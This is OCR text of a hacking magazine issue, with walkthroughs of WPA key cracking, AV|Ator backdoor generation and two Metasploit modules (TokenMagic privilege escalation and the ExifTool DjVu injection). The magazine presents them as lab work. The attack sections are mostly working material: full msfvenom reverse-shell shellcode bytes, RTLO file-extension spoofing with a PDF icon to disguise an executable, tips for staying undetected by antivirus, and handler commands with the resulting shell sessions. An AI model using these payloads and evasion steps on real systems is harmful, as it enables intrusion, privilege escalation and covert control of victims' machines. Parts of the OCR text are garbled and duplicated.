NISA EVER	w B		WPA Attack Requ	uirement		×
Access Point Details					<i>4</i> 0	K apports WPS
Attack Option						
	0 0 0	Regular Attack			WPS Attack	
Dephine Assess Deint						
Probing Access Point						
Deauthentication Stat					Current Di	ctionary File Browse
Deauthentication Stat					Current Di	ctionary File Browse
Deauthentication Stat Handshake Status Bruteforcing Encryptic	us				Current Di O 1 mac-addresses, please wa	ctionary File Browse
Probing Access Point Deauthentication Stat Handshake Status Bruteforcing Encryptic Finished					Current Di O 1 mac-addresses, please wa	ctionary File Browse

The tool displays a message about requirement needed to crack WPA/WPA2. It is saying that at least one client needs to be collected to the wireless access point to crack WPA. Click on "OK".

			Attac	k Panel			
		Select	t Target Access P	bint			
(ເວັດ Airte	(co) el-Hotspot-22C6	(ب) ۲۰ Andey AS		!:) DIRECT-	CONTIN-B62W	N2msZR	
(cp) DSSSKS	ې) ack Me If You	(can NS4 EVE	(w) ER Satish	(constant) SK Lensmag	ic TAHA		Automate
	1	0 0					0 1 0 0
Access Point Details			EF7C ^O Chan	nel: 1 Power		yption: WBA Su	pports WPS
Access Point Details ESSID: Hack_M Attack Option			EF7C ^O Chan	nel: 1 Power		yption: WPA Su	pports WPS
Access Point Details ESSID: Hack_M Attack Option	e_If_You_Can	SSID: 64:66:83:56: Regular Attack	EF.7C ^O Chan	nel: 2 Power	wps Att	yption: WPA Su	pports WPS
Access Point Details ESSID: Hack_M Attack Option Probing Access Point	e_If_You_Can B	SSID: 64-66-83-56: Regular Attack	EF7C ^O Chan	nel: 2 Power	wps Att	yption: WPA Su sck	pports WPS
Access Point Details ESSID: Hack_M Attack Option Probing Access Point Deauthentication Statu	e_If_You_Can B:	SSID: 64-66-B3:56: Regular Attack	1 EF:7C ⁰ Chan 1 0	nel: 1 Power	WPS Att	yption: WPA Su ack Current Dictionary Fil	pports WPS e Browse
Access Point Details ESSID: Hack M Attack Option Probing Access Point Deauthentication Statu Handshake Status	e_If_You_Can	SSID: 64:66:83:56:	EF7C Chan	nel: 1 Power	WPS Att	yption: WPA Su ack Current Dictionary Fil 20:34:FB:03:59:EF	pports WPS
Access Point Details ESSID: Hack M Attack Option Probing Access Point Deauthentication Statu Handshake Status Bruteforcing Encryption	e_If_You_Can	SSID: 64-66-83-56	EF7C ^O Chan	Current Phra	wps Att	yption: WPA Su ack Current Dictionary Fil 20:34:FB:03:59:EF	pports WPS
Access Point Details ESSID: Hack M Attack Option Probing Access Point Deauthentication Statu Handshake Status Bruteforcing Encryption Finished	e_If_You_Can	SSID: 64:66:83:56:	EF:7C ⁰ Chan	nel: 1 Power	WPS Att	yption: WPA Su ack Current Dictionary Fil 20:34:FB:03:59:EF	pports WPS

W128			Attack Panel			
Non-						
		Select Target A	ccess Point			
(())	(6)	() ())	്ക്ര	<u>*</u>	
A	irtel-Hotspot-22C6	Andey ASTROW	ORLD! :) DIRECT-	-DTIN-B62WRN2ms2	r In	Attac
(())	(())	(6) ((ග)	(())		Automate
DSSSKS	Hack_Me_If_You_C	an NS4 EVER Sa	atish SK Lensmag	gic TAHA	1 1 1	
	1 0	<u> </u>		- 1 1 1	*	
Denner Delet Dete			- A	0 1 0		
Access Point Detail					NOA Conserve MD	
	Cime It tou can biss	10: 04:00:83:30:EP:7C	Channel: Powe	r: 42 Encryption:	WRAL Supports WP:	
Attack Option						
E R b 1	0 0 0	Regular Attack		WPS Attack		
Probing Access Poir	t r o			1		
-) Probing Access Poin Deauthentication S	it			rock	you.txt Br	owse
Probing Access Poir Deauthentication S Handshake Status	it tatus			20:34:FI	you.txt Bi B:03:59:EF	owse n
Probing Access Poin Deauthentication S Handshake Status Bruteforcing Encry	it tatus Ition		Current Phra	20:34:Fl	you.txt Bi B:03:59:EF	owse

The de authentication attack automatically starts.

•	Attack Panel	
	Select Target Access Point	
(ເວັດ) Airtel-Hotspot-2	(c) (c) 2C6 Andey ASTROWORLD! :) DIRECT-DTIN-B62WRN2msZR	Stop
(တု) (တု) DSSSKS Hack_Me_If_Y	رو) رو) رو) Du_Can NS4 EVER Satish SK Lensmagic TAHA	Automate
Access Point Details	BSSID: 64:66:83:56:EF:7C Channel: 1 Power: -15 Encryption: WPA Su	upports WPS
Attack Option		
	Regular Attack WPS Attack	
Probing Access Point		
Deauthenticating 20:34:FB:03:59:EF	rockyou.txt	Browse
Handshake Status	20:34:FB:03:59:EF	-
Bruteforcing Encryption	Current Phrase	
Finished		

			Attack Pa	inel			
		Select Ta	arget Access Point				
(cp) Airtel-	(op) Hotspot-22C6	(()) Andey ASTI	() ROWORLD! :)	DIRECT-D	(မှာ) OTIN-B62W	RN2msZR	wiß Attack
(()	((.))	(()	(())	(()	(())		Automate
	k Mo. 💡		Tips			×	× . 0
Access Point Details	If_You_C	To copy the s on the key o You can also	successfully cracke f your choice and s convert between A	ed keys to Solo select "Copy". ASCII to HEX ke	ys for WEP.	htyiou <mark>r q</mark> to editor(uestions
Access Point Details ESSID: Hack_Me_ Attack Option		To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between / again Ok	ed keys to Sof select "Copy". ASCII to HEX ke ha	ys for WEP.	htyour q to editor(coolmag	uestions
Access Point Details ESSID: Hack_Me_ Attack Option Probing Access Point	If You C	To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between / again Ok	ed keys to Sof select "Copy". ASCII to HEX ke	ys for WEP.	L _{ht} yiou r q t d editor coolmag	uestions
Access Point Details ESSID: Hack_Me_ Attack Option Probing Access Point Deauthenticating 20:34:F	B:03:59:EF	To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between / again Ok	ed keys to Sof select "Copy". ASCII to HEX ke	endeal ys for WEP. .ckerc	htyiou r q to editor coolmag	uestions
Access Point Details ESSID: Hack_Me_ Attack Option Probing Access Point Deauthenticating 20:34:F	Il' You C Don't	To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between / again Ok	ed keys to Sof select "Copy". ASCII to HEX ke	ys for WEP.	htyiou r g to edit or cooln ag	uestions
Access Point Details ESSID: Hack_Me_ Attack Option Probing Access Point Deauthenticating 20:34:F Handshake Captured Bruteforcing WPA Encrypt	B:03:59:EF	To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between / e again Ok	ed keys to Sof select "Copy". ASCII to HEX ke ha	ys for WEP.	htyiour q to editor coolmag	uestions
Access Point Details ESSID: Hack_Me_ Attack Option Probing Access Point Deauthenticating 20:34:F Handshake Captured Bruteforcing WPA Encrypt Finished	Il You C Don't	To copy the s on the key o You can also t show this message	successfully cracke f your choice and s convert between A e again Ok	ed keys to So select "Copy". ASCII to HEX ke ha	ys for WEP.	htyiour g to edit or (coolmag rockyou.txt 20:34:FB:03:59:6	uestions

The WPA key is successfully cracked. As you can see, the password is "snowwhite". Let's clear all the doubts you have and you will soon get in our next Issue.

AV | ATOR BYPASSING ANTIVIRUS

AV | Ator is a backdoor generator utility that uses cryptographic and injection techniques to bypass AV detection. The AV in AV | Ator stands for Anti Virus. Ator is character from the Italian Film Series "Ator" who is a swordsman, alchemist, scientist, magician, scholar and engineer with the ability to sometimes produce objects out of thin air.

Ator takes C# shellcode as input, encrypts it with AES encryption and generates an executable file. Ator uses various methods to bypass Anti Virus. Some of them are,

Portable executable injection : In portable executable injection, malicious code is written directly into a process (without a file on disk). Then, this code is executed by either invoking additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references.

Reflective DLL Injection : DLL injection is a technique used for running code within the

address space of another process by forcing it to load a dynamic-link library. This will overcome the address relocation issue.

Thread Execution Hijacking : Thread execution hijacking is a process in which malicious code is injected into a thread of a process.

Ator also has RTLO option that spoofs an executable file to look like having an "innocent" extens -ion like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc" and of course we can set a custom icon. Ator can be run on both Windows and Linux. We need Mono to run Ator on Linux.

Let's see how to install ATOR in kali. Clone the ATOR repository as shown below.

```
—(kali⊛kali)-[~/Ator]
—$ wget https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries/AVIAT
OR x86.zip
--2021-08-06 02:20:06-- https://github.com/Ch0pin/AVIator/tree/master/Compiled%
20Binaries/AVIATOR x86.zip
Resolving github.com (github.com)... 13.234.210.38
Connecting to github.com (github.com) | 13.234.210.38 |: 443... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://github.com/Ch0pin/AVIator/blob/master/Compiled%20Binaries/AVIA
TOR x86.zip [following]
--2021-08-06 02:20:07-- https://github.com/Ch0pin/AVIator/blob/master/Compiled%
20Binaries/AVIATOR x86.zip
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'AVIATOR x86.zip'
                        [ <=>
AVIATOR x86.zip
                                             ] 117.11K --.-KB/s in 0.1s
2021-08-06 02:20:08 (879 KB/s) - 'AVIATOR x86.zip' saved [119925]
Then unzip the zip archive.
 —(kali⊛kali)-[~]
 -$ cd <u>Ator</u>
 —(kali⊛kali)-[~/Ator]
 -$ ls
AVIATOR x86.zip
 —(kali⊛kali)-[~/Ator]
 -$ ls -l
total 120
-rwxrwxrwx 1 kali kali 122566 Aug 6 02:31 AVIATOR x86.zip
  -(kali⊛kali)-[~/Ator]
 -$ unzip AVIATOR x86.zip
Archive: AVIATOR x86.zip
  inflating: AVIATOR x86/AVIATOR x86.exe
```

Install Mono as shown below.

(kali® kali)-[~/Ator]
\$ sudo apt install mono-devel
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
mono-devel is already the newest version (6.8.0.105+dfsg-3).
mono-devel set to manually installed.
0 upgraded, 0 newly installed, 0 to remove and 554 not upgraded.

After moving into the extracted directory, there will be an AVIATOR executable. We just need to run it with Mono.

100 >



If you want to run ATOR in Windows, you can just download the compiled binaries from Github . When you run the executable, the ATOR GUI opens.

AV/tor	- 🗆 🗙
Shellcode Injection Advanced (TODO)	
INSTRUCTIONS	PREFERENCES
1. Enter an Encryption Key or leave the default	AES key 0x11,0x22,0x11,0x00,0x00,0x01,0xd0,0x00,0x00,0x00
2. Enter an IV or leave the default	2 IV [0x00.0xcc.0x00.0x00.0x00.0xcc
3. Paste the Shellcode in the text box	Payload 0x40.0x00.0x6a.0x00.0x6a.0x00.0x55.0x68.0x0b.0x27.0x6f.0x30.0xff.0xd5.0x57.0x68, 0x75.0x6a.0x4d.0x61.0xff.0xd5.0x5a.0xff.0xd5.0x57.0x68,
(e.g. mstvenom -p windows/meterpreter/	3 Ddf, 0x45, 0x69, 0x47, 0x45, 0x62, 0x62, 0x62, 0x62, 0x62, 0x63, 0x60, 0x63, 0x65, 0x64, 0x65, 0x65, 0x64, 0x65, 0x65, 0x64, 0x65,
reverse_https://www.interverse_https://www.in	Encypt
LPURI = 4444 + csnarp)	Encrypted Payload
4. Click on Encrypt Bulton	4
5. Enter the path to save the exe	
6. Select Architecture	
7. Select injection technique	Select path Use Right to Left Overnoe (RTLO) Path:C:\Users\nspadm\Downloads\AVIATOR_x86\Av_payload.exe Set Custom icon //
8. Press the Generate Exe button	Target OS Architecture ● x86 ○ x64
	Injection Techniques
	Creates a new thread in memory using the CreateThread API Function (Shellcode Arch: x86, x64, OS Arch: x86, x64) + Stable execution but can be traced by most AVs :((((
	Spawns notepad (32) as a background process and injects the given shellcode using the CreateRemoteThread API function (Shellcode Arch: x86, OS Arch: x86) ++ Stable execution might bypass a large number of AVs :(
	 Injects the given shellcode to an existing application which is given by the user in the text box bellow (Shellcode Architecture should be the same with the selected OS Architecture) ++ Stable execution, since a valid target procedure is given, bypasses a large number of AVs
	Thread Hijacking targeting the procedure given in the text box bellow (Shellcode Arch: x64, OS Arch: x64) ++++ High Success Rate and stable execution :)))
	Thread Hijacking (Shellcode Arch: x86, OS Arch: x86) +++ High success Rate and stable execution, depending on the target procedure given :)) Target Procedure:

Let's see all the options in detail.

1. It contains the encryption key that is used to encrypt the shellcode. Keep it default if you want.

2. It contains the IV used for AES encryption. Keep it default too.

3. Shellcode in C# format. It

- 4. It will show the encrypted payload.
- 5. The location to which the generated executable is to be saved.
- 6. Various Injection techniques.

7. Set a Custom Icon to the executable.

Let's create the shellcode using msfvenom.

—(kali⊛ kali) - [~/Ator/AVIATOR_x86]

-\$ msfvenom -p windows/shell/reverse tcp LHOST=192.168.36.189 lport=4455 -f csh arp [-] No platform was selected, choosing Msf::Module::Platform::Windows from the p ayload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of csharp file: 1825 bytes byte[] buf = new byte[354] { 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26, 0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49, 0x75,0xef,0x52,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x57,0x8b,0x40,0x78, 0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x48,0x18,0x50,0x8b,0x58,0x20,0x01,0xd3, 0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac, 0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24, 0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c, 0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59, 0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d, 0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26, 0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68, 0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x24,0xbd,0x68,0x02, 0x00,0x11,0x67,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,

0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26, 0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49, 0x75,0xef,0x52,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x57,0x8b,0x40,0x78, 0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x48,0x18,0x50,0x8b,0x58,0x20,0x01,0xd3, 0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac, 0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24, 0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c, 0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59, 0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d, 0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26, 0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68, 0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x24,0xbd,0x68,0x02, 0x00,0x11,0x67,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea, 0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61, 0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00, 0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83, 0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a, 0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57, 0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00, 0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68, 0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff, 0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb, 0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };

Copy the shellcode and paste it in the payload column. Click on "Encrypt" to see the encrypted payload in (4). Click on (7) to set a custom icon (we are using pdf icon). Select the path of the exe-cutable (5) and select the injection technique (6) and click on "Generate EXE" button. Here's the payload.



Before executing it on the target, start a listener on the attacker machine.

The backdoor generated by AV | Ator is no longer undetectable by 2019. This is the price it paid for its popularity. One temporary solution to this is to use a C# obfuscator on the produced executable to remain FUD. msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/shell/reverse tcp payload => windows/shell/reverse tcp msf6 exploit(multi/handler) > set lhost 192.168.36.189 lhost => 192.168.36.189 msf6 exploit(multi/handler) > set lport 4455 lport => 4455 msf6 exploit(multi/handler) > eun Unknown command: eun. msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.36.189:4455 As soon the payload is executed on the target, we will have a shell as shown below. msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.36.189:4455 [*] Encoded stage with x86/shikata ga nai [*] Sending encoded stage (267 bytes) to 192.168.36.1 [*] Command shell session 1 opened (192.168.36.189:4455 -> 192.168.36.1:62633) a t 2021-08-06 08:14:32 -0400 whoami whoami hackercool\nspadm C:\Users\nspadm\Downloads\AVIATOR x86>sysinfo sysinfo 'sysinfo' is not recognized as an internal or external command, operable program or batch file. C:\Users\nspadm\Downloads\AVIATOR x86> Answers to some questions related to hacking our readers ask Hacking Q & A the need of any password. All the systems and Q: Why is my connection not secure

when I connect to a hotspot with no password as opposed to one with a pas -sword?

A : You know what is the one question that user -s most ask me. How to hack a system that is on a different LAN network. You know what that means? hacking a system on the same network is easy. All Wi-Fi networks without a password are called OPEN networks. So just like you anybody can connect to this OPEN network without

the need of any password. All the systems and devic es getting connected to this OPEN network form a WLAN (same network). So a hacker can easily scan for vulnerabilities and exploit your device in an OPEN network. There's no restriction, right. That is the reason you should never connect to an OPEN wireless network.

Send all your questions to

editor@hackercoolmagazine.com

Windows TokenMagic & Exif Tool perl ANT Injection Modules METASPLOIT THIS MONTH

Welcome to Metasploit This Month. Let us learn abo and how they fare in our tests.	out the latest exploit	t modules of I	Metasplo	it
<u>Windows TokenMa</u>	n <mark>gic PE Module</mark>	2		
TARGET: Windows 7 -10 v1803 TY ANTI-MALWA	PE: Local RE : OFF	MOD	ULE : P	E
How long it has been since we have seen a Window have seen one in just our previous Issue (wink, print Module duplicates the token of an elevated process hijacking attack to gain SYSTEM level privileges. Sin need to get a meterpreter session with low privileges -s. We have tested this module on Windows 7 Service msf6 exploit(multi/handler) > run	rs privilege escalation mightmare). The W and spawns a new p nce th -is is a privileg on the target. Let's ce Pack 1 target.	on vulnerabilit findows Toke process/ condu ge escalation a see how this a	ty? Ok, w nMagic F ucts a DL module, w module v	ze PE L we vork
<pre>[*] Started reverse TCP handler on 192.16 [*] Sending stage (175174 bytes) to 192.1 [*] Meterpreter session 1 opened (192.168) at 2021-08-02 09:25:38 -0400</pre>	8.36.171:4466 68.36.183 .36.171:4466 ->	192.168.36.	183:491	166
<pre>meterpreter > sysinfo Computer : WIN-JU0C99C2Q55 OS : Windows 7 (6.1 Build 76 Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter > getuid Server username: WIN-JU0C99C2Q55\admin</pre>	01, Service Pack	(1).		
Background the initial meterpreter session and load ow.	the token magic exp	ploit module a	as shown	bel-
<pre>Matching Modules ====================================</pre>	enmagic			
<pre># Name D scription</pre>	isclosure Date	Rank	Check	De
0 exploit/windows/local/ <mark>tokenmagic</mark> 2 ndows Privilege Escalation via TokenMagic	017-05-25 (UAC Bypass)	excellent	Yes	Wi

After setting all the options required, use check command to see if target is indeed vulnerable. msf6 exploit(multi/handler) > use 0 [*] Using configured payload windows/x64/meterpreter/reverse tcp msf6 exploit(windows/local/tokenmagic) > set lhost 192.168.36.171 lhost => 192.168.36.171 msf6 exploit(windows/local/tokenmagic) > set lport 4466 lport => 4466 msf6 exploit(windows/local/tokenmagic) > check [-] Check failed: Msf::OptionValidateError One or more options failed to vali date: SESSION. msf6 exploit(windows/local/tokenmagic) > set session 1 session => 1 msf6 exploit(windows/local/tokenmagic) > check [*] The target appears to be vulnerable. msf6 exploit(windows/local/tokenmagic) > Then execute the module. msf6 exploit(windows/local/tokenmagic) > run [*] Started reverse TCP handler on 192.168.36.171:4466 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Attempting to PrivEsc on WIN-JU0C99C2Q55 via session ID: 1 [*] Uploading payload to C:\Users\admin\AppData\Local\Temp\sDECeLOX.exe [*] Running Exploit on WIN-JU0C99C2Q55 [*] Executing TokenMagic PowerShell script [+] Enjoy the shell! [*] Sending stage (200262 bytes) to 192.168.36.183 [+] Deleted C:\Users\admin\AppData\Local\Temp\sDECeLOX.exe [*] Meterpreter session 2 opened (192.168.36.171:4466 -> 192.168.36.183:49167) at 2021-08-02 09:27:36 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : WIN-JU0C99C2Q55 : Windows 7 (6.1 Build 7601, Service Pack 1). **0**S Architecture : x64 System Language : en US : WORKGROUP Domain Logged On Users : 3 Meterpreter : x64/windows meterpreter >

As we can see, we successfully gained a meterpreter session with SYSTEM privileges on the targe-

"Is hacking ever acceptable? It depends on the motive." - Charlie Brooker

ExifTool ANT perl Injection Module

TARGET: ExifTool v7.44 to 12.23TYPE: LocalMODULE : ExploitANTI-MALWARE : NAANTI-MALWARE : NA

ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. The above mentioned versions of Exif Tool are vulnerable to a Perl injection vulnerability that can be exploited to gain a shell using Perl backticks. The vulnerability is present in DjVu parsing code of ExifTool.

What this module does is creates a malcious payload which when opened by the vulnerable version of ExifTool gives a shell. We have tested this module on Ubuntu. The download informat -ion of ExifTool is given in our Downloads section. It needs no installing. Just extract the zip archive.



Let's see how this module works. Load the ExifTool_djvu_injection exploit module as shown belo-w.

te Rank Check Description
.....
0 exploit/unix/fileformat/exiftool_djvu_ant_perl_injection 2021-05-24
excellent No ExifTool DjVu ANT Perl injection

Disclosure Da

Interact with a module by name or index. For example info 0, use 0 or use exp loit/unix/fileformat/exiftool_djvu_ant_perl_injection

msf6 >

"Is hacking ever acceptable? It depends on the motive." - Charlie Brooker

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse netcat
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > show options
Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):
              Current Setting Required Description
    Name
   FILENAME msf.jpg yes Output file
Payload options (cmd/unix/reverse_netcat):
           Current Setting Required Description
    Name
                                      The listen address (an interface may b
   LHOST 192.168.36.171
                            yes
                                       e specified)
                                      The listen port
   LPORT 4444
                            yes
Set all the required options and execute the module.
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > run
[+] msf.jpg stored at /home/kali/.msf4/local/msf.jpg
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl injection) >
Let's copy this malicious file to the target system.
user1@ubuntu:~/Desktop/exiftool-12.23$ ls
arg_files
                  fmt_files META.json
                                                          README
build_tag_lookup html
                               META.yml
Changes
Changes lib msf.jpg validate
config_files Makefile.PL perl-Image-ExifTool.spec windows_exiftool
                 lib
                               msf.jpg
                                                          validate
exiftool
                               pp_build_exe.args
                  MANIFEST
Before opening this file with exiftool, let's start a listener on the attacker system.
 msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > use exploit/
multi/handler
 [*] Using configured payload generic/shell_reverse_tcp
 msf6 exploit(multi/handler) > set payload cmd/unix/reverse netcat
 payload => cmd/unix/reverse netcat
 msf6 exploit(multi/handler) > set lhost 192.168.36.171
 lhost => 192.168.36.171
 msf6 exploit(multi/handler) > set lport 4444
 lport => 4444
 msf6 exploit(multi/handler) > run
 [*] Started reverse TCP handler on 192.168.36.171:4444
```

```
As soon as this malicious file is opened with exiftool,
user1@ubuntu:~/Desktop/exiftool-12.23$ ./exiftool msf.jpg
A shell is obtained on the attacker system as shown below.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.36.171:4444
[*] Command shell session 1 opened (192.168.36.171:4444 -> 192.168.36.138:516
58) at 2021-08-03 12:23:23 -0400
msf6 exploit(multi/handler) > run
 [*] Started reverse TCP handler on 192.168.36.171:4444
 [*] Command shell session 1 opened (192.168.36.171:4444 -> 192.168.36.138:516
 58) at 2021-08-03 12:23:23 -0400
 id
uid=1000(user1) gid=1000(user1) groups=1000(user1),4(adm),24(cdrom),27(sudo),
 30(dip),46(plugdev),119(lpadmin),130(lxd),131(sambashare)
whoami
user1
 uname -a
Linux ubuntu 5.3.0-42-generic #34-Ubuntu SMP Fri Feb 28 05:49:40 UTC 2020 x86
 64 x86 64 x86 64 GNU/Linux
~Z
Background session 1? [y/N] y
msf6 exploit(multi/handler) > sessions
 Active sessions
                             Information Connection
   Id Name Type
   shell cmd/unix
                                          192.168.36.171:4444 \rightarrow 192.168.36.
                                           138:51658 (192.168.36.138)
msf6 exploit(multi/handler) >
'One of my favourite books about hackers is 'Masters of Deception' about this
    hacking group in the 1990s. Many of them didn't come from wealthy
   families. These are kids that are very intelligent; they just happen to be misdirected."
                                 - Harper Reed
```

<u>Spyware : Why the booming surveillance tech industry is vulnerable to</u> <u>corruption and abuse</u>

Online Security

Christian Kemp Lecturer, Criminology Anglia Ruskin University

The world's most sophisticated commercially available spyware may be being abused, accordi -ng to an investigation by 17 media organisations in ten countries. Intelligence leaks and forensic phone analysis suggests the surveillance software , called Pegasus, has been used to target and spy on the phones of human rights activists, investigative journalists, politicians, researchers and academics.

NSO Group, the Israeli cyber intelligence firm behind Pegasus, insists that it only licenses its spyware to vetted government clients in the nam -e of combating trans- As if that's not insidious enough, Pegasus national crime and terrorismcan record calls and track a target's The following year, it was It has labelled reports location while independently and secretly revealed that several from investigative journalists a "vicious and slanderous activating a phone's camera and campaign" upon which it will no longer microphone. The new revelations suggest that Pegasus upon when the new revelations suggest that Pegasus upon when the two of the several suggest that the several the new revelations suggest that Pegasus upon when the new revelations are provided to the the the persons upon when the new revelations suggest that the the persons upon when the new revelations are provided to the the persons upon when the new revelations are provided to the the persons upon when the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the new revelations are provided to the term of the term of the new revelations are provided to the term of the term of term of term of term of term of term of the term of term of

Yet the founder and chief executive of NSO Group previously admitted that "in some circumstances our customers might misuse the system." Given that the group has sold its spywa -re to a reported 40 countries, including some wi -th poor records of corruption and human rights violations, it's alleged that Pegasus has been sign -ificantly misused, undermining the freedom of the press, freedom of thought and free and open democracies.

These revelations are the latest indication that the spyware industry is out of control, with licensed customers free to spy on political and ci -vilian targets as well as suspected criminals. We may be heading to a world in which no phone is safe from such attacks.

How Pegasus works?

The new revelations suggest that Pegasus was used to watch Mexico's president Andres Manuel Lopez and 50 members of his inner circle – including friends, family, doctors, and aides – when he was an opposition politician. Pegasus has also been linked to the surveillance of Rahul Gandhi, the current political rival to Indian prime minister Narendra Modi.

-re on the market. It can infiltrate victims' device

-s without their even having to click a malicious

, the power Pegasus possesses to transform a

link – a so-called "zero-click attack". Once inside

phone into a surveillance beacon is astounding.

messages, pictures, videos and downloaded cont

-ent to send to the attacker. As if that's not insidi-

ous enough, Pegasus can record calls and track

a target's location while independently and secre

-tly activating a phone's camera and microphone

. With this capability, an infected phone acts like

a fly on the wall, seeing, hearing and reporting

back the intimate and sensitive conversations th-

It immediately sets to work copying

A Pegasus infiltration has also now been found among phones belonging to the family an -d friends of murdered journalist Jamal Khashoggi, and there are indications that Pegasus may also have been used by a Mexican NSO client to target the Mexican journalist Cecilio Pineda Birto, who was murdered in 2017.

Spyware Industry

Although the power of Pegasus is shocking, spyware in its various forms is far from a new

Pegasus is regarded as the most advanced spywa 31

phenomenon. Basic spyware can be traced back to the early 1990s. Now it's a booming industry with thousands of eager buyers.

